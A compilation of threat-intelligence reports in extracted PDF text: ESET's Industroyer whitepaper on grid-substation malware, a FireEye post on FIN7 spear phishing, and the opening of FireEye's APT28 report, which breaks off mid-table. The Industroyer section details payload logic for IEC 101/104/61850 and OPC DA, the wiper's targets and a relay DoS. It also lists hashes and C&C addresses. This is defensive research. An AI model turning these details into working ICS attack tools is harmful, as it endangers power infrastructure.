4134AE8F447659B465B294C131842009173A786B 698474A332580464D04162E6A75B89DE030AA768 00141A5F0B269CE182B7C4AC06C10DEA93C91664 271023936A084F52FEC50130755A41CD17D6B3B1 D7FB7927E19E483CD0F58A8AD4277686B2669831 56C03D8E43F50568741704AEE482704A4F5005AD 38E2855E11E353CEDF9A8A4F2F2747F1C5C07FCF 4EAAC7CFBAADE00BB526E6B52C43A45AA13FD82B F4068E3528D7232CCC016975C89937B3C54AD0D1 Win32/TeleBot: A4F2FF043693828A46321CCB11C5513F73444E34 5251EDD77D46511100FEF7EBAE10F633C1C5FC53 Win32/PSW.Agent.ODE (CredRaptor): 759DCDDDA26CF2CC61628611CF14CFABE4C27423 77C1C31AD4B9EBF5DB77CC8B9FE9782350294D70 EAEDC201D83328AF6A77AF3B1E7C4CAC65C05A88 EE275908790F63AFCD58E6963DC255A54FD7512A EE9DC32621F52EDC857394E4F509C7D2559DA26B FC68089D1A7DFB2EB4644576810068F7F451D5AA 10/11 Win32/Filecoder.NKH: 1C69F2F7DEE471B1369BF2036B94FDC8E4EDA03E Python/Filecoder.R: AF07AB5950D35424B1ECCC3DD0EEBC05AE7DDB5E Win32/Filecoder.AESNI.C: BDD2ECF290406B8A09EB01016C7658A283C407C3 9C694094BCBEB6E87CD8DD03B80B48AC1041ADC9 D2C8D76B1B97AE4CB57D0D8BE739586F82043DBD Win32/Diskcoder.C: 34F917AABA5684FBE56D3C57D48EF2A1AA7CF06D PHP shell: D297281C2BF03CE2DE2359F0CE68F16317BF0A86 11/11 WIN32/INDUSTROYER A new threat for industrial control systems Anton Cherepanov, ESET Version 2017-06-12 Win32/Industroyer Contents Win32/Industroyer: a new threat for industrial control systems . . . . . . . 2 Main backdoor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 Additional backdoor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 Launcher component . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 101 payload component . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .6 104 payload component . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 61850 payload component . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 OPC DA payload component . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 Data wiper component . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 Additional tools: port scanner tool . . . . . . . . . . . . . . . . . . . . . . . . 14 Additional tools: DoS tool . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Indicators of Compromise (IoC) . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Win32/Industroyer Win32/Industroyer: a new threat for industrial control systems Win32/Industroyer is a sophisticated piece of malware designed to disrupt the working processes of industrial control systems (ICS), specifically industrial control systems used in electrical substations. Those behind the Win32/Industroyer malware have a deep knowledge and understanding of industrial control systems and, specifically, the industrial protocols used in electric power systems. Moreover, it seems very unlikely anyone could write and test such malware without access to the specialized equipment used in the specific, targeted industrial environment. this malware could have been the tool used by attackers to cause the power outage in Ukraine in December 2016, although at the time of writing, it is not confirmed, and the investigation is still ongoing. The infection vector remains unknown. The malware contains multiple modules, as analyzed and described in the next sections of this whitepaper. However, before diving into those details, the following simplified schematic shows the connections between the components of the malware. Support for four different industrial control protocols, specified in the standards listed below, has been implemented by the malware authors: IEC 60870-5-101 (aka IEC 101) IEC 60870-5-104 (aka IEC 104) IEC 61850 OLE for Process Control Data Access (OPC DA) In addition to all that, the malware authors also wrote a tool that implements a denial-of-service (DoS) attack against a particular family of protection relays, specifically the Siemens SIPROTEC range. All this considered, the Win32/Industroyer malware authors show an intensive focus that suggests they are highly specialized in industrial control systems. The capabilities of this malware are significant. When compared to the toolset used by threat actors in the 2015 attacks against the Ukrainian power grid which culminated in a black out on December 23, 2015 (BlackEnergy, KillDisk, and other components, including legitimate remote access software) the gang behind Industroyer are more advanced, since they went to great lengths to create malware capable of directly controlling switches and circuit breakers. We have seen indications that Figure 1. Simplified schematic of Win32/Industroyer components. While some components (e.g. Data wiper) are similar in concept to the 2015 BlackEnergy attacks against power grid companies in Ukraine, we don t see any link between those attacks and the code in this malware. Win32/Industroyer Main backdoor We refer to the core component of Industroyer as the main backdoor. The main backdoor is used by the attackers behind Industroyer to control all other components of the malware. As backdoors go, this component is pretty straightforward, connecting to its remote C&C server using HTTPS and receiving commands from the attackers. All analyzed samples are hardcoded to use the same proxy address, located in the local network. Thus, the backdoor is clearly designed to work only in one specific organization. It is also worth mentioning that most of the C&C servers used by this backdoor are running Tor software. Perhaps the most interesting feature of this backdoor is that attackers can define a specific hour of the day when the backdoor will be active. For example, the attackers can modify the backdoor in this way so it will communicate with its C&C server only outside working hours. This can make detection based only on network traffic examination harder. However, all the samples analyzed so far are set to work 24 hours round the clock. Once connected to its remote C&C server, the main backdoor component sends the following data in a POST-request: the globally unique identifier (GUID) string for the current hardware profile retrieved via GetCurrentHwProfile the version of the malware: 1.1e the hardcoded ID of the sample the result of any previously-received command The hardcoded ID is used by the attacker as an identifier for the infected machine. Across all analyzed samples we found the following hardcoded ID values: DEF DEF-C DEF-WS DEF-EP DC-2-TEMP DC-2 CES-McA-TEMP CES SRV_WSUS SRV_DC-2 SCE-WSUS01 The main backdoor component supports the following commands: Command ID Figure 2. The decompiled main backdoor code has a check for time-of-day. Purpose Execute a process Execute a process under a specific user account. Credentials for the account are supplied by the attacker Download a file from C&C server Copy a file Win32/Industroyer Command ID Purpose Execute a shell command Execute a shell command under a specific user account. Credentials for the account are supplied by the attacker Quit Stop a service Stop a service under a specific user account. Credentials for the account are supplied by the attacker Start a service under a specific user account. Credentials for the account are supplied by the attacker Replace "Image path" registry value for a service Once the attackers obtain administrator privileges, they can upgrade the installed backdoor to a more privileged version that is executed as a Windows service program. To do this they pick an existing, non-critical Windows service and replace its ImagePath registry value with the path of the new backdoor s binary. The functionality of the main backdoor that works as a Windows service is the same as just described. However, there are two small differences: first the backdoor s version is 1.1s, instead of 1.1e, and second, there is code obfuscation. The code of this version of the backdoor is mixed with junk assembly instructions. Figure 3. The obfuscated assembly code of the main backdoor that works as a Windows service. Additional backdoor The additional backdoor provides an alternative persistence mechanism that allows the attackers to regain access to a targeted network in case the main backdoor is detected and/or disabled. This backdoor is a trojanized version of the Windows Notepad application. This is a fully functional version of the application, but the malware authors have inserted malicious code that is executed each time the application is launched. Once the attackers gain administrator privileges, they are able to replace the legitimate Notepad manually. The inserted malicious code is heavily obfuscated, but once the code is decrypted it connects to a remote C&C server, which is different to the one linked in the main backdoor, and downloads a payload. This is in the form Win32/Industroyer of shellcode that is loaded directly into memory and executed. In addition, the inserted code decrypts the original Windows Notepad code, which is stored at the end of the file, and then passes execution to it. Thus, the Notepad application works as expected. Launcher component This component is a separate executable responsible for launching the payloads and the Data wiper component. The Launcher component contains a specific time and date. Analyzed samples contained two dates, 17th December 2016 and 20th December 2016. Once one of these dates is reached the component creates two threads. The first thread makes attempts to load a payload DLL, while the second thread waits one or two hours (it depends on the Launcher component version) and then attempts to load the Data wiper component. The priority for both threads is set to THREAD_PRIORITY_HIGHEST, which means that these two threads receive a higher than normal share of CPU resources from the operating system. The name of the payload DLL is supplied by the attackers via a command line parameter supplied in one of the main backdoor execute a shell command commands. The Data wiper component is always named haslo. dat. The expected command lines are of the form: Figure 4. Comparison between original Notepad binary code (at the left) and backdoored binary code. %LAUNCHER%.exe %WORKING_DIRECTORY% %PAYLOAD%.dll %CONFIGURATION%.ini Each argument on the command line represents the following: %LAUNCHER%.exe is the filename of the Launcher component %WORKING_DIRECTORY% is the directory where the payload DLL and configuration is stored %PAYLOAD%.dll is the filename of the payload DLL %CONFIGURATION%.ini is the file that stores configuration data for the specified payload. The path to this file is supplied to the payload DLL by the Launcher component The payload and Data wiper components are standard Windows DLL files. In order to be loaded by the Launcher component they must export a function named Crash as seen in Figure 5. Win32/Industroyer Windows device names (usually COM ports), the number of Information Object Address (IOA) ranges, and the beginning and ending IOA values for the specified number of IOA ranges. IOA is a number that identifies a particular data element in the device. Figure 6 illustrates a 101 payload configuration file with two defined IOA ranges, 10-15 and 20-25. Figure 5. Example payload DLL that has internal name Crash101.dll and Crash export function. 101 payload component This payload DLL has the filename 101.dll and is named after IEC 101 (aka IEC 60870-5-101), an international standard that describes a protocol for monitoring and controlling electric power systems. The protocol is used for communication between industrial control systems and Remote Terminal Units (RTUs). The actual communication is transmitted through a serial connection. The 101 payload component partly implements the protocol described in the IEC 101 standard and is able to communicate with an RTU or any other device with support for that protocol. Once executed, the 101 payload component parses the configuration stored in its INI file. The configuration may contain several entries: process name, Figure 6. An example of a 101 payload DLL configuration. The name of the process specified in the configuration belongs to an application the attackers suspect is running on the victim machine. It should be the application the victim machine uses to communicate through serial connection with the RTU. The 101 payload attempts to terminate the specified process and starts to communicate with the specified device, using the CreateFile, WriteFile and ReadFile Windows API functions. The first COM port from the configuration file is used for the actual communication and the two other COM ports are just opened to prevent other processes accessing them. Thus, the 101 payload component is able to take over and maintain control of the RTU device. This component iterates through all IOAs in the defined IOA ranges. For each such IOA it constructs two select and execute packets, one with a single command (C_SC_NA_1) and one with a double command (C_DC_NA_1) and sends these to the RTU device. The main goal of the component is to change the On/Off state of single command type IOA Win32/Industroyer and double command type IOA. Specifically, the 101 payload has three stages: in the first stage this component attempts to switch IOAs to their Off state, in the second stage it attempts to invert IOA states to On, and in the final stage the component switches IOA states to Off again. 104 payload component This payload DLL has the filename 104.dll and is named after IEC 104 (aka IEC 60870-5-104), an international standard. The IEC 104 protocol extends IEC 101, so the protocol can be transmitted over a TCP/IP network. Due to its highly configurable nature, this payload can be customized by the attackers for different infrastructures. Figure 8 shows what a configuration file may look like. Figure 8. An example of 104 payload DLL configuration. Once executed, the 104 payload DLL attempts to read its configuration file. As described above, the path for the configuration file is supplied by the Launcher component. The configuration contains a STATION section followed by properties that configure how the 104 payload should work. The configuration may contain multiple STATION entries. Figure 7. An example of a 101 payload packet, after being dissected in Kaitai Struct WebIDE. Win32/Industroyer Our analysis of this component reveals the following possible configuration properties: Property Expected value Purpose operation range or sequence or shift Specifies iteration type for Information Object Addresses (IOA) Property Expected value Purpose target_ip IP address The IP address that will be used for the communication using IEC 104 protocol standard range Specific format of Specifies range of Information IOAs Object Addresses (IOA) target_port Port number Self-explanatory sequence uselog 1 or 0 Enables or disables logging to a file Specific format of Specifies sequence of Information IOAs Object Addresses (IOA) shift logfile Filename Specifies the filename for the log, if enabled Specific formatof IOAs stop_comm_ service 1 or 0 Enables or disables termination of the process stop_comm_ service_name Process name Specifies the process name that will be terminated timeout Timeout in milliseconds Specifies timeout between send and recv calls. Default value: 15000 socket_timeout Timeout in milliseconds Specify the receiving timeout. Default value: 15000 silence 1 or 0 Enables or disables console output asdu Integer Specifies ASDU (Application Service Data Unit) address also known as sector first_action on or off Specifies the Switch value in ASDU packet for first iteration change 1 or 0 Specifies that the Switch value in ASDU packet should be inverted during iterations command_type def or short or long or persist Specifies command pulse duration for qualifier of command (QOC) Specifies shift of Information Object Addresses (IOA) Once the configuration file is read, the 104 payload creates a thread for each STATION section defined in the configuration file. In each such thread, the 104 payload will attempt to communicate with the specified IP address using the protocol described in the IEC 104 standard. Before the connection is made, the 104 payload attempts to terminate the legitimate process that is normally responsible for IEC 104 communication with the device. It does so only if the stop_comm_service property is specified in its configuration. By default, the 104 payload terminates the process named D2MultiCommService.exe, or the process name specified in its configuration. The main idea behind the 104 payload is relatively simple. It connects to the specified IP address and starts to send packets with the ASDU address that was defined in its configuration. The goal of this communication is to interact with an IOA of a single command type. In the configuration file, the attacker can define the operation property to specify exactly how single command type IOAs will be iterated. The first such operation mode is the range mode. The attackers use this mode in order to discover possible IOAs in the targeted device. The attackers have to take this approach because the protocol described in the IEC 104 standard does not provide a specific method to obtain such information. Win32/Industroyer The range mode has two stages. During the first stage, once the range of IOAs is obtained from the configuration file, the 104 payload connects to the target IP address and starts to iterate through the specified IOAs. To each such IOA the 104 payload sends select and execute packets in order to switch the state and to confirm whether the IOA belongs to the single command type. enabled, so between loop iterations the payload flipped the switch value from On to Off and wrote it to the log. Figure 9. An example of a 104 payload packet, after being dissected by Wireshark. Once all possible IOAs from the specified range are iterated, the 104 payload switches to the second stage of range mode. If logging is enabled, the payload writes Starting only success to the log. The rest of this second stage is an infinite loop that uses the previously discovered IOAs of single command type. In the loop the payload constantly sends select and execute packets. In addition, if the option change is defined, the payload flips the On/Off state between loop steps. Figure 10 demonstrates the log file that was produced by the 104 payload during our analysis. It shows the payload iterated IOAs from 10 to 15, and once IOAs of the single command type were discovered, the payload started to use them in the loop. The configuration had the change option Figure 10. Example log file produced by the 104 payload The second operation mode is the shift mode. This is very similar to the range mode. The attacker defines, in the configuration file, a range of IOAs and shift values. Once the 104 payload is activated it does everything the same way as in range mode; however, once all IOAs in the defined range are iterated, it starts to iterate over the new range. The new range is calculated by adding the shift values to the default range values. The third operation mode is the sequence mode. It can be used by attackers once they know the values of all IOAs of the single command type that are supported by the connected device. This payload immediately Win32/Industroyer executes an infinite loop, sending select and execute packets to the IOAs defined in the configuration file. Aside from its logging capability, the 104 payload can output debug information to the console, as seen in Figure 11. 61850 payload component Unlike the 101 and 104 payloads, this payload component exists as a standalone malicious tool comprising an executable named 61850.exe and the DLL 61850.dll. It is named after the IEC 61850 standard. This standard describes a protocol used for multivendor communication among devices that perform protection, automation, metering, monitoring, and control of electrical substation automation systems. The protocol is very complex and robust, but the 61850 payload uses only a small subset of the protocol to produce its disruptive effect. Once executed, the 61850 payload DLL attempts to read the configuration file, the path to which is supplied by the Launcher component. The standalone version defaults to reading its configuration from i.ini. The configuration file is expected to contain a list of IP addresses of devices capable of communicating via the protocol described in the IEC 61850 standard. Figure 11. The console output of the 104 payload. If the configuration file is not present, then this component enumerates all connected network adaptors to determine their TCP/IP subnet masks. The 61850 payload then enumerates all possible IP addresses for each of these subnet masks, and tries to connect to port 102 on each of those addresses. Therefore, this component has the ability to discover relevant devices in the network automatically. Otherwise, if a configuration file is present and it contains target IP addresses, this component connects to port 102 on those IP addresses and on IP addresses that were discovered automatically. Once this component connects to a target host, it sends a Connection Request packet using the Connection Oriented Transport Protocol, as seen in Figure 12. Win32/Industroyer Figure 12. A Connection Request packet, after dissection by Wireshark. Figure 13. The dissected MMS getNameList request in Wireshark. If the target device responds appropriately, the 61850 payload then sends an InitiateRequest packet using the Manufacturing Message Specification (MMS). If the expected answer is received, it continues, sending an MMS getNameList request. Thereby, the component compiles a list of object names in a Virtual Manufacturing Device (VMD). Afterwards, the 61850 payload parses data received in response to these requests, searching for variables that contain following combinations of strings: Next, this component enumerates the objects discovered in the previous step and sends the device domain-specific getNameList requests with each object name. This enumerates named variables in a specific domain. CSW, CO, Pos, Oper, but not $T CSW, CF, Pos, and Model CSW, ST, Pos, and stVal CSW, CO, Pos, SBO, but not $T The string CSW is a name for logical nodes, which are used to control circuit breakers and switches. For variables that contain the Model or stVal string the 61850 payload sends an additional MMS Read request. For some of the variables this component may also issue an MMS Write request that will change its state. Win32/Industroyer The 61850 payload produces a log file of its operations that contains the IP addresses, MMS domains, named variables and the node states (open or closed) of its targets. OPC DA payload component The OPC DA payload component implements a client for the protocol described in the OPC Data Access specification. OPC (OLE for Process Control) is a software standard and specification that is based on Microsoft technologies such as OLE, COM, and DCOM. The Data Access (DA) part of the OPC specification allows real-time data exchange between distributed components, based on a client server model. This component exists as a standalone malicious tool with the filename OPC.exe and a DLL, which implement both 61850 and OPC DA payload functionalities. This DLL is named, internally in PE export table, OPCClientDemo.dll, suggesting that the code of this component may be based on the open source project OPC Client. Next the component uses the IOPCBrowseServerAddressSpace interface to enumerate all OPC items on the server. Specifically, it looks for items that contain the following strings in their name: ctlSelOn ctlOperOn ctlSelOff ctlOperOff \Pos and stVal The names of these items may suggest that attackers are interested in OPC items provided by OPC servers that belong to solutions from ABB, such as their MicroSCADA range. Figure 15 demonstrates an example list of OPC items that contain names with similar strings. This list of OPC items is received by the OPC Process Objects List Tool from ABB. Figure 14. The PE export reveals the internal DLL name of the OPC DA payload. The OPC DA payload does not require any kind of configuration file. Once executed by the attacker, it enumerates all OPC servers using the ICatInformation::EnumClassesOfCategories method with CATID_ OPCDAServer20 category identifier and IOPCServer::GetStatus to identify the ones running. Figure 15. An example of OPC items names in IN field received using OPC Process Objects List Tool. Win32/Industroyer The attackers use the string Abdul when they add a new OPC group. Possibly this string is used by the attackers as a slang term when referring to the ABB solutions. The component writes the OPC server name, OPC item name state, quality code and value to the log file. The logged values are separated with the following headers: [*ServerName: %SERVERNAME%] [State: Before] [*ServerName: %SERVERNAME%] [State: After ON] [*ServerName: %SERVERNAME%] [State: After OFF] Data wiper component The data wiper component is a destructive module that is used in the final stage of an attack. The attackers are using this component to hide their tracks and to make recovery difficult. Figure 16. The disassembled code of the OPC DA component that uses the Abdul string. On the final step, the OPC DA payload attempts to change the state of discovered OPC items using the IOPCSyncIO interface by writing the 0x01 value twice. This component has the filename haslo.dat or haslo.exe and can be executed by the Launcher component or used as a standalone malicious tool. Once executed it attempts to enumerate all keys in the registry that list Windows services: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services It attempts to set the registry value ImagePath with an empty string in each of the entries found. This operation will make the operating system unbootable. The next step is actual deletion of file contents. The component enumerates files with specific file extensions on all drives connected to computer, from C:\ to Z:\. It should be noted that during enumeration the component skips files that are located in subdirectory that contains Windows in its name. Figure 17. Disassembled code of OPC DA payload that uses IOPCSyncIO interface. The component rewrites file content with meaningless data obtained from newly allocated memory. In order to perform this operation thoroughly the component attempts to rewrite files twice. The first attempt happens once the file is found on a drive. If the first attempt is unsuccessful then the wiper malware makes a second attempt, but before that the malware terminates Win32/Industroyer all processes except those included in a list of critical system processes. The list of these processes is displayed in Figure 18. To speed up the wiping operation this component rewrites only partial file content at the beginning of the file. The amount of data to be rewritten depends on file size: the smallest amount of data will be rewritten for files less than or equal to 1Mb (4096 bytes); the largest amount of data will be rewritten for files less than or equal to 10Mb (32768 bytes). Finally, this component attempts to terminate all processes (including system processes) except its own. This will result in the system becoming unresponsive and eventually crashing. *.SCL *.cxm *.7z *.bak *.elb *.exe *.dll *.cid *.epl *.scd *.mdf *.pcmp *.ldf This list contains filename extensions that are used in a standard environment, such as Windows binaries (.exe/.dll), archives (.7z /.tar/.rar/. zip), backup files (.bak/.bk/.bkp), Microsoft SQL server files (.mdf/.ldf), and various configuration files (.ini/.xml). In addition, the component also wipes files that may be used in industrial control systems, such as files written using Substation Configuration description Language (.scl/.cid/.scd) and there are many files and file extensions that are used by various products from ABB. For example, a file named SYS_BASCON.COM is used by ABB solutions for storing configuration data, and files with the .paf (Product Authorization File) filename extension are used to store license data for ABB MicroSCADA products. Additional tools: port scanner tool Figure 18. List of processes that are not terminated on second rewriting attempt. The filename masks targeted by the data wiper component to be overwritten are: SYS_BASCON.COM *.pcmi *.bk *.pcmt *.bkp *.PL *.ini *.log *.paf *.xml *.zip *.XRF *.CIN *.rar *.trc *.prj *.tar The attackers arsenal includes a port scanner that can be used to map the network and to find computers relevant to their attack. Interestingly, instead of using software already existing, the attackers built their own custom-made port scanner. As is evident from Figure 19, the attacker can define a range of IP addresses and a range of network ports that are to be scanned by this tool. Figure 19. The port scanner tool usage example. Win32/Industroyer Additional tools: DoS tool Another tool from the attackers arsenal is a Denial-of-Service (DoS) tool that can be used against Siemens SIPROTEC devices. This tool leverages the CVE-2015-5374 vulnerability in order to render a device unresponsive. Once this vulnerability is successfully exploited, the target device stops responding to any commands until it is rebooted manually. To exploit this vulnerability the attackers hardcoded the device IP addresses into this tool. Once the tool is executed it sends specifically crafted packets to port 50,000 of the target IP addresses using UDP. The UDP packet contains only 18 bytes. Figure 20. Content of UDP packet used during exploitation of CVE-2015-5374. Conclusion The commonly-used industrial control protocols used in this malware were designed decades ago without taking security into consideration. Therefore, any intrusion into an industrial network with systems using these protocols should be considered as game over Indicators of Compromise (IoC) SHA-1 hashes: F6C21F8189CED6AE150F9EF2E82A3A57843B587D CCCCE62996D578B984984426A024D9B250237533 8E39ECA1E48240C01EE570631AE8F0C9A9637187 2CB8230281B86FA944D3043AE906016C8B5984D9 79CA89711CDAEDB16B0CCCCFDCFBD6AA7E57120A 94488F214B165512D2FC0438A581F5C9E3BD4D4C 5A5FAFBC3FEC8D36FD57B075EBF34119BA3BFF04 B92149F046F00BB69DE329B8457D32C24726EE00 B335163E6EB854DF5E08E85026B2C3518891EDA8 The investigation behind the Ukrainian power outage last December is still ongoing and it is currently not confirmed that the malware analyzed here was the direct cause. Nevertheless, we believe that to be a very probable explanation, as the malware is able to directly control switches and circuit breakers at power grid substations using four ICS protocols and contains an activation timestamp for December 17, 2016, the day of the power outage. IP addresses of C&C servers: We can definitely say that the Win32/Industroyer malware family is an advanced and sophisticated piece of malware that is used against industrial control systems. However, it should be noted that the malware itself is just a tool in the hands of an even more advanced and very capable malicious actor. Using logs produced by the toolset and highly configurable payloads, the attackers could adapt the malware to any comparable environment. Warning! Most of the servers with these IP addresses were part of Tor network which means that the use of these indicators could result in a false positive match. 195.16.88[.]6 46.28.200[.]132 188.42.253[.]43 5.39.218[.]152 93.115.27[.]57 FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings fireeye.com /blog/threat-research/2017/03/fin7_spear_phishing.html In late February 2017, FireEye as a Service (FaaS) identified a spear phishing campaign that appeared to be targeting personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. Based on multiple identified overlaps in infrastructure and the use of similar tools, tactics, and procedures (TTPs), we have high confidence that this campaign is associated with the financially motivated threat group tracked by FireEye as FIN7. FIN7 is a financially motivated intrusion set that selectively targets victims and uses spear phishing to distribute its malware. We have observed FIN7 attempt to compromise diverse organizations for malicious operations usually involving the deployment of point-of-sale malware primarily against the retail and hospitality industries. Spear Phishing Campaign All of the observed intended recipients of the spear phishing campaign appeared to be involved with SEC filings for their respective organizations. Many of the recipients were even listed in their company s SEC filings. The sender email address was spoofed as EDGAR and the attachment was named Important_Changes_to_Form10_K.doc (MD5: d04b6410dddee19adec75f597c52e386). An example email is shown in Figure 1. Figure 1: Example of a phishing email sent during this campaign We have observed the following TTPs with this campaign: The malicious documents drop a VBS script that installs a PowerShell backdoor, which uses DNS TXT records for its command and control. This backdoor appears to be a new malware family that FireEye iSIGHT Intelligence has dubbed POWERSOURCE. POWERSOURCE is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. The backdoor uses DNS TXT requests for command and control and is installed in the registry or Alternate Data Streams. Using DNS TXT records to communicate is not an entirely new finding, but it should be noted that this has been a rising trend since 2013 likely because it makes detection and hunting for command and control traffic difficult. We also observed POWERSOURCE being used to download a second-stage PowerShell backdoor called TEXTMATE in an effort to further infect the victim machine. The TEXTMATE backdoor provides a reverse shell to attackers and uses DNS TXT queries to tunnel interactive commands and other data. TEXTMATE is memory resident often described as fileless malware. This is not a novel technique by any means, but s worth noting since it presents detection challenges and further speaks to the threat actor s ability to remain stealthy and nimble in operations. In some cases, we identified a Cobalt Strike Beacon payload being delivered via POWERSOURCE. This particular Cobalt Strike stager payload was previously used in operations linked to FIN7. We observed that the same domain hosting the Cobalt Strike Beacon payload was also hosting a CARBANAK backdoor sample compiled in February 2017. CARBANAK malware has been used heavily by FIN7 in previous operations. Victims Thus far, we have directly identified 11 targeted organizations in the following sectors: Financial services, with different victims having insurance, investment, card services, and loan focuses Transportation Retail Education IT services Electronics All these organizations are based in the United States, and many have international presences. As the SEC is a U.S. regulatory organization, we would expect recipients of these spear phishing attempts to either work for U.S.based organizations or be U.S.-based representatives of organizations located elsewhere. However, it is possible that the attackers could perform similar activity mimicking other regulatory organizations in other countries. Implications We have not yet identified FIN7 s ultimate goal in this campaign, as we have either blocked the delivery of the malicious emails or our FaaS team detected and contained the attack early enough in the lifecycle before we observed any data targeting or theft. However, we surmise FIN7 can profit from compromised organizations in several ways. If the attackers are attempting to compromise persons involved in SEC filings due to their information access, they may ultimately be pursuing securities fraud or other investment abuse. Alternatively, if they are tailoring their social engineering to these individuals, but have other goals once they have established a foothold, they may intend to pursue one of many other fraud types. Previous FIN7 operations deployed multiple point-of-sale malware families for the purpose of collecting and exfiltrating sensitive financial data. The use of the CARBANAK malware in FIN7 operations also provides limited evidence that these campaigns are linked to previously observed CARBANAK operations leading to fraudulent banking transactions, ATM compromise, and other monetization schemes. Community Protection Event FireEye implemented a Community Protection Event FaaS, Mandiant, Intelligence, and Products to secure all clients affected by this campaign. In this instance, an incident detected by FaaS led to the deployment of additional detections by the FireEye Labs team after FireEye Labs Advanced Reverse Engineering quickly analyzed the malware. Detections were then quickly deployed to the suite of FireEye products. The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information based on our investigations of a variety of topics discussed in this post, including FIN7 and the POWERSOURCE and TEXTMATE malware. Click here for more information. FIREEYE iSIGHT INTELLIGENCE APT28: AT THE CENTER OF THE STORM RUSSIA STRATEGICALLY EVOLVES ITS CYBER OPERATIONS S P ECIAL R E P O RT / JAN UARY 2017 CONTENTS Introduction Overview APT28 Targeting And Intrusion Activity Table 1 - APT28 Targeting of Political Entities and Intrusion Activity Table 2 - APT28 Network Activity Has Likely Supported Information Operations From Olympic Slight to Data Leak: Investigating APT28 at the World Anti-Doping Agency Conclusion Appendix SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM INTRODUCTION The Democratic National Committee s (DNC) June 2016 announcement attributing its network breach to the Russian Government triggered an international debate over Russia s sponsorship of information operations against the U.S. At issue is the question of proof: did the Russian Government direct the group responsible for the breaches and related data leaks? If so, is this simply a matter of accepted state espionage, or did it cross a line? Was the DNC breach part of a concerted effort by the Russian Government to interfere with the U.S. presidential election? Unfortunately, we have failed to ask the most consequential question: how will Russia continue to employ a variety of methods, including hacks and leaks, to undermine the institutions, policies, and actors that the Russian Government perceives as constricting and condemning its forceful pursuit of its state aims? Our visibility into the operations of APT28 - a group we believe the Russian Government sponsors - has given us insight into some of the government targets, as well as its objectives and the activities designed to further them. We have tracked and profiled this group through multiple investigations, endpoint and network detections, and continuous monitoring. Our visibility into APT28 operations, which date to at least 2007, has allowed us to understand the group malware, operational changes, and motivations. This intelligence has been critical to protecting and informing our clients, exposing this threat, and strengthening our confidence in attributing APT28 to the Russian Government. SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM OVERVIEW On December 29, 2016, the Department of Homeland Security (DHS) and Federal Bureau of Investigation (FBI) released a Joint Analysis Report confirming FireEye s long held public assessment that the Russian Government sponsors APT28. Since at least 2007, APT28 has engaged in extensive operations in support of Russian strategic interests. The group, almost certainly compromised of a sophisticated and prolific set of developers and operators, has historically collected intelligence on defense and geopolitical issues. APT28 espionage activity has primarily targeted entities in the U.S., Europe, and the countries of the former Soviet Union, including governments and militaries, defense attaches, media entities, and dissidents and figures opposed to the current Russian Government. Over the past two years, Russia appears to have increasingly leveraged APT28 to conduct information operations commensurate with broader strategic military doctrine. After compromising a victim organization, APT28 will steal internal data that is then leaked to further political narratives aligned with Russian interests. To date these have included the conflict in Syria, NATO-Ukraine relations, the European Union refugee and migrant crisis, the 2016 Olympics and Paralympics Russian athlete doping scandal, public accusations regarding Russian state-sponsored hacking, and the 2016 U.S. presidential election. This report details our observations of APT28 targeting, and our investigation into a related breach. We also provide an update on shifts in the group s tool development and use, and summarize the tactics APT28 employs to compromise its victims. SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM APT28 TARGETING AND INTRUSION ACTIVITY In October 2014, FireEye released APT28: A Window into Russia s Cyber Espionage Operations?, and characterized APT28 s activity as aligning with the Russian Government strategic intelligence requirements. While tracking APT28, we noted the group s interest in foreign governments and militaries, particularly those of European and Eastern European nations, as well as regional security organizations, such as the North Atlantic Treaty Organization (NATO) and the Organization for Security and Cooperation in Europe (OSCE), among others. Table 1 highlights some recent examples of this activity. SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM TA B L E 1 : A P T 2 8 TA R G E T I N G O F P O L I T I C A L E N T I T I E S A N D I N T R U S I O N AC T I V I T Y ENTIT Y OSCE Germany's Christian Democratic Union (CDU) Pussy Riot NATO, Afghan Ministry of Foreign Affairs, Pakistani Military TIMEFRAME A P T 2 8 TA R G E T I N G A N D I N T R U S I O N AC T I V I T Y NOVEMBER 2016 The OSCE confirmed that it had suffered an intrusion, which a Western intelligence service attributed to APT28.1 APRIL - MAY 2016 Researchers at Trend Micro observed APT28 establish a fake CDU email server and launch phishing emails against CDU members in an attempt to obtain their email credentials and access their accounts. 2,3 AUGUST 2015 APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails.4 JULY 2015 APT28 used two domains (nato-news.com and bbc-news.org) to host an Adobe Flash zero-day exploit to target NATO, the Afghan Ministry of Foreign Affairs, and the Pakistani military. German Bundestag & Political Parties JUNE 2015 Germany s Federal Office for Security in Information Technology (BSI) announced that APT28 was likely responsible for the spear phishing emails sent to members of several German political parties. The head of Germany s domestic intelligence agency, Bundesamt f r Verfassungsschutz (BfV), also attributed the June 2015 compromise of the Bundestag s networks to APT28. 5,6 Kyrgyzstan Ministry of Foreign Affairs OCTOBER 2014 THROUGH SEPTEMBER 2015 FireEye iSight Intelligence identified changes made to domain name server (DNS) records that suggest that APT28 intercepted email traffic from the Kyrgyzstan Ministry of Foreign Affairs after maliciously modifying DNS records of the ministry s authoritative DNS servers. Polish Government & Power Exchange websites JUNE AND SEPTEMBER 2014 APT28 employed Sedkit in conjunction with strategic web compromises to deliver Sofacy malware on Polish Government websites, and the websites of Polish energy company Power Exchange.7 Gauquelin, Blaise. La Russie soup tre responsable d un piratage informatique contre l OSCE. Le Monde. 28 Dec. 2016. Web. 29 Dec. 2016. Trend Micro refers to activity corresponding to FireEye s APT28 